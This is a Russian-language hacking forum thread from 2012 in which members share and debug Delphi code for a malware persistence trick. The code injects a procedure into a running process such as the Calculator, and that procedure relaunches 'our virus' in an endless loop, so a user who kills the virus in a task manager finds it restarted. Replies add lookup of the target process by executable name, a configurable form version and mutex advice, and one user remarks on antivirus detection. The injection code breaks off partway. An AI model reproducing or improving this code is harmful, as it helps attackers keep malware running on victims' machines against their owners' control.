Данный код инжектит в процесс (в данном случае Калькулятор) процедуру, которая в вечном цикле запускает нужный нам файл. Т.е. если юзер вдруг и закроет наш вирус через какой-либо таск-мэнеджер, то после этого он благополучно упокоится, а наш вирус снова запустится. Интервал - 30 сек.
То-то и оно. Просто я в своё время пытался замутить что-то подобное, но в результате сразу после компиляции запел NOD32, а после попытки переписать за компанию прибавились еще с десяток песен ))) P.S. На счет плюсов. Я щедрый. Мне не жалко ))) Pascal, C\C++, Assembler, Python
Дата: Воскресенье, 05.02.2012, 00:45 | Сообщение # 6
Авторитетный
Зарегистрирован: 22.01.2012
Группа: Модераторы
Сообщений: 702
Статус: Offline
Для примера использование в коде определения PID по названию окна программы хорошо,многим пригодится,но для рабочего использования я бы взял определение PID по названию процесса,ведь не у всех процессов есть окна...
Дата: Понедельник, 06.02.2012, 01:07 | Сообщение # 9
Авторитетный
Зарегистрирован: 22.01.2012
Группа: Модераторы
Сообщений: 702
Статус: Offline
Quote (gravitas)
Посмотрите на название топика. Идентификатор процесса тут все умеют получать.
..ну в том что всем известен код получения идентификатора процесса я не сомневаюсь,просто хотел сказать что в работе более удобней, на мой взгляд, будет использование (имеется ввиду самый первый код на примере с Калькулятором) метода определения процесса не по названию окна, так как повторюсь не у каждого процесса есть окна, а по названию самого процесса либо его идентификатору...
с другой стороны каждому свой метод,для кого как будет удобнее...,можно так же и объеденить оба варианта методом исключения в случае если у процесса указанного пользователем нет окон...
Quote (Волк-1024)
Если проблемы с получением пида по имени процесса, то вот:
кстати хотел спросить на счет функции почему именно DWORD почему не THandle? чем вобще они отличаются,просто никогда не задавался таким воросом...
Сообщение отредактировал xXxSh@dowxXx - Понедельник, 06.02.2012, 02:26
Дата: Понедельник, 06.02.2012, 13:49 | Сообщение # 11
Авторитетный
Зарегистрирован: 22.01.2012
Группа: Модераторы
Сообщений: 702
Статус: Offline
И снова Здравствуйте
Ребят подскажите пожалуйста как в первом примере кода изменить WinExec: function на ShellExecute... дело в том что на сколько мне известно WinExec запускает не все файлы а в основном exe'шники
в то время как ShellExecute может запустить на выполнение файлы и с другим расширением...
если можно пример кода посмотреть только с ShellExecute, заранее благодарен.
Сообщение отредактировал xXxSh@dowxXx - Понедельник, 06.02.2012, 15:21
Дата: Понедельник, 06.02.2012, 14:26 | Сообщение # 12
Участник
Зарегистрирован: 24.04.2010
Группа: Пользователи
Сообщений: 83
Статус: Offline
Code
Вообще ничем не отличаются. И Cardinal вроде туда же.
thandle - дескриптор и за ним находяться ресурсы ядра, он числиться в таблице дескрипторов и через него можно получить укзанные ресурсы и т.д., а dword - число, и используется как псевдодескриптор. он не числиться в таблице дескрипторов и является просто заглушкой. используется например в функции GetCurrentThread(); которая возвращает пседодескриптор текущего потока через который можно производить действия с этим потоком(т.е. сам с собой) .
Code
Ребят подскажите пожалуйста как в первом примере кода изменить WinExec: function на ShellExecute... дело в том что на сколько мне известно WinExec запускает не все файлы а в основном exe'шники
в то время как ShellExecute может запустить на выполнение файлы и с другим расширением...
если можно будет пример кода посмотреть только с ShellExecute, заранее благодарен.
Дата: Понедельник, 06.02.2012, 15:46 | Сообщение # 13
Авторитетный
Зарегистрирован: 22.01.2012
Группа: Модераторы
Сообщений: 702
Статус: Offline
вобщем как я не крутил,чет не вышло у меня с ShellExecute,учитывая что я в delphi не так давно начал работать
вот мой код,за исходный был взят код из первого поста от "gravitas",немного переделал...
подскажите где тут ошибка...,то что в function ShellExecute,это я понимаю,вопрос в том где именно..?
так же хочу предупредить что этот код в отличие от первого я сделал в Form а не в консольном приложении...! заранее поясню для чего был перенесен код на Form,ну в первую очередь для того что бы можно было в будующем пользователю самому настраивать какой именно файл,из какого именно процесса и с каким интервалом времени запускать...,ну и так же что бы другие могли видеть все эти примеры в одном коде... в коде возможно допущено куча ошибок так что прошу сильно не ругать
Code
type TMass = record LoadLibrary: function(lpLibFileName: PChar): HMODULE; stdcall; GetProcAddress: function(hModule: HMODULE; lpProcName: LPCSTR): FARPROC; stdcall; ShellExecute: function(lpParameters: LPCTSTR; nShowCmd: UINT): UINT; stdcall; Sleep: procedure(uExitCode: UINT); stdcall; Kernel32: array[0..$FF] of Char; ShellExecuteName: array[0..$FF] of Char; SleepName: array[0..$FF] of Char; MyName: array[0..$FF] of Char; end; procedure MyFunc(Mass: Pointer); stdcall; begin with TMass(Mass^) do begin @ShellExecute:=GetProcAddress(LoadLibrary(Kernel32), ShellExecuteName); @Sleep:=GetProcAddress(LoadLibrary(Kernel32), SleepName); while true do begin ShellExecute(MyName, 5); Sleep(5000); end; end; end;
procedure TForm1.Button1Click(Sender: TObject); procedure Test; begin end;
Дата: Понедельник, 06.02.2012, 20:21 | Сообщение # 15
Авторитетный
Зарегистрирован: 22.01.2012
Группа: Модераторы
Сообщений: 702
Статус: Offline
вобщем посидел я седня над кодом немного,вот что в итоге получилось...
и еще подскажите пожалуйста куда тут пихнуть исключение if на уже запущенный файл из процесса что бы он не запускался по новой спустя указанное время в Sleep...?
ShellExecute добавлять не стал,потому что в данном примере она в общем то и ни к чему..,ведь если мы будем запускать какой нибудь .txt из стороннего процесса то уже гораздо проблематичнее будет обработать исключение запущенного файла ведь как известно все .txt запускаются из одного процесса "notepad.exe"...
var Form1: TForm1; hSnapshoot: THandle; pe32: TProcessEntry32; implementation
{$R *.dfm}
function GetProcessByEXE(exename: string): THandle; begin Result:= 0; hSnapshoot:= CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); if (hSnapshoot = 0) then Exit; pe32.dwSize:= SizeOf(TProcessEntry32); if (Process32First(hSnapshoot, pe32)) then repeat if (pe32.szExeFile = exename) then begin Result:= pe32.th32ProcessID; exit; end; until not Process32Next(hSnapshoot, pe32); end;
type TMass = record LoadLibrary: function(lpLibFileName: PChar): HMODULE; stdcall; GetProcAddress: function(hModule: HMODULE; lpProcName: LPCSTR): FARPROC; stdcall; WinExec: function(lpCmdLine: LPCSTR; uCmdShow: UINT): UINT; stdcall; Sleep: procedure(uExitCode: UINT); stdcall; Kernel32: array[0..$FF] of Char; WinExecName: array[0..$FF] of Char; SleepName: array[0..$FF] of Char; MyName: array[0..$FF] of Char; end; procedure MyFunc(Mass: Pointer); stdcall; begin with TMass(Mass^) do begin @WinExec:=GetProcAddress(LoadLibrary(Kernel32), WinExecName); @Sleep:=GetProcAddress(LoadLibrary(Kernel32), SleepName); while true do begin WinExec(MyName, 5); Sleep(5000); end; end; end;
procedure TForm1.Button1Click(Sender: TObject); procedure Test; begin end;
var Mass: TMass; hprocess: DWORD; pparam, pfunc: Pointer; hthread: DWORD; v: DWORD; d, s: PAnsiChar; begin if GetProcessByEXE(Edit2.Text) <> 0 then begin Label3.Caption:='ID: '+ IntToStr(pe32.th32ProcessID); d:=PChar(Edit3.Text); s:=PChar(Edit1.Text); lstrcpy(Mass.Kernel32, 'kernel32.dll'); lstrcpy(Mass.WinExecName, 'WinExec'); lstrcpy(Mass.SleepName, 'Sleep'); lstrcpy(Mass.MyName, PChar(''+ d+ s)); @Mass.LoadLibrary := GetProcAddress(GetModuleHandle('kernel32.dll'), 'LoadLibraryA'); @Mass.GetProcAddress := GetProcAddress(GetModuleHandle('kernel32.dll'), 'GetProcAddress');
Дата: Понедельник, 06.02.2012, 20:40 | Сообщение # 16
Авторитетный
Зарегистрирован: 01.05.2010
Группа: Пользователи
Сообщений: 385
Статус: Offline
Quote (xXxSh@dowxXx)
вобщем посидел я седня над кодом немного,вот что в итоге получилось... и еще подскажите пожалуйста куда тут пихнуть исключение if на уже запущенный файл из процесса что бы он не запускался по новой спустя указанное время в Sleep...?
Запаришся ты инжектить туда все что нужно для проверки наличия процесса. Проблему мультизапуска решает Mutex (CreateMutex). TheDeduction
Для ускорения получения ответов на ваши вопросы рекомендуется подкармливание в виде +'ов в рейтинг :)